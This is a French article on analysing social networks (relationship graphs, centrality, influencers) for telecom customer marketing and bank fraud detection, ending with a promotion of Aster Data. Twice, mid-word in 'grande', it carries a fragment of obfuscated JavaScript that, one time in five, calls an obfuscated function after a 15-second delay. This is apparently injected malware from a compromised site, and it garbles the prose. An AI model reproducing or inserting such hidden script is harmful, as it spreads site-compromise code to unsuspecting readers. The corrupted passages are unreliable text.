Big Data : Tirez parti de l’analyse des réseaux sociaux pour optimiser les Relations Clients

Depuis quelques temps déjà les entreprises s’intéressent aux réseaux sociaux en cherchant une façon profitable de les exploiter, en particulier elles espèrent grâce à eux mieux comprendre les consommateurs. En effet l’analyse des interactions sociales peut potentiellement être une source d’une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande valeur. Par exemple, l’analyse des réseaux sociaux dans le secteur des télécommunications donne des informations sur les relations des clients entre eux, qui peuvent aider pour les actions de fidélisation, de rétention, d’acquisition, de vente croisée et ainsi permettre aux opérateurs proactifs d’obtenir un avantage concurrentiel significatif.

Les entreprises sont donc intéressées par l’analyse des réseaux sociaux pour la même raison qu’elles l’ont été par analyse de la clientèle en général, il s’agit pour elles d’être plus compétitives en continuant à améliorer leur vison et leur prévision du comportement des clients. Cela peut se traduire par des actions de marketing mieux ciblées, plus pertinentes, à des moments plus opportuns, qui sont à même de générer des retours sur investissement supérieurs.
L’analyse des réseaux peut être utilisée pour segmenter les clients et ceux des concurrents, pour identifier les personnes clés d’un groupe, les influenceurs, pour modéliser des comportements type, pour personnaliser la communication et les expériences des clients, prospects et au final pour suivre l’impact des actions de marketing.

Concrètement par exemple pour un opérateur de télécommunications, il s’agit de construire le réseau des relations, c’est-à-dire d’isoler des liens entre les gens qui semblent être significatifs (par opposition aux liens temporaires, tels que ceux que l’on peut avoir avec son plombier ou le service des urgences), et de calculer diverses mesures de la pertinence de chaque lien (par exemple, la régularité, l’intensité et l’historicité). Tous ces éléments permettent de définir un graphe avec des nœuds (les gens), des liens (relation entre deux personnes) et d’établir de nombreuses mesures. L’ensemble de ces éléments peut contenir des centaines de variables décrivant la relation entre chaque paire de personnes. Les variables les plus pertinentes peuvent alors être utilisées pour construire des modèles.
Après la construction du réseau et le calcul des mesures, il s’agit de déterminer le nombre de personnes avec qui chaque individu est en relation directe (les amis), ou indirecte (les amis d’amis), ou partagée (les amis se connaissent entre eux). Un individu peut aussi être en position de « centralité », et sa disparition créerait une rupture dans le réseau. Au final on établit ainsi le poids social de chacun, et toutes les métriques significatives peuvent être utilisées pour enrichir les bases de données marketing, affiner les analyses marketing, en particulier les segmentations, et optimiser les actions de communications et de ventes, en particulier celles ciblant des communautés ou fondées sur des approches virales.
En dehors du Marketing, une autre grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande utilisation de l’analyse des réseaux sociaux est celle de la traque de la fraude organisée que les banques mettent en œuvre par exemple. Il s’agit d’identifier des  personnes sans lien apparent qui acquièrent des lignes de crédit, et effectuent des transactions entre elles en utilisant très peu d’argent réel (parce que c’est toujours la même somme d’argent qui circulent entre les personnes). Du fait du volume des opérations, les banques renforcent leur confiance en ces personnes et augmentent leurs lignes de crédit. Une fois que toutes les lignes de crédit sont suffisamment développées, un jour déterminé chaque acteur du réseau récupère le maximum d’argent et disparaît.
Pour aller plus loin sur le sujet vous pouvez utilement consulter le site d’Aster Data, une société spécialisée qui dispose d’une solution brevetée SQL-MapReduce™ avec laquelle ont été développés des solutions d’analyse de réseaux, que des sociétés comme LinkedIn, MySpace ou Mzinga mettent déjà en œuvre : cliquez ici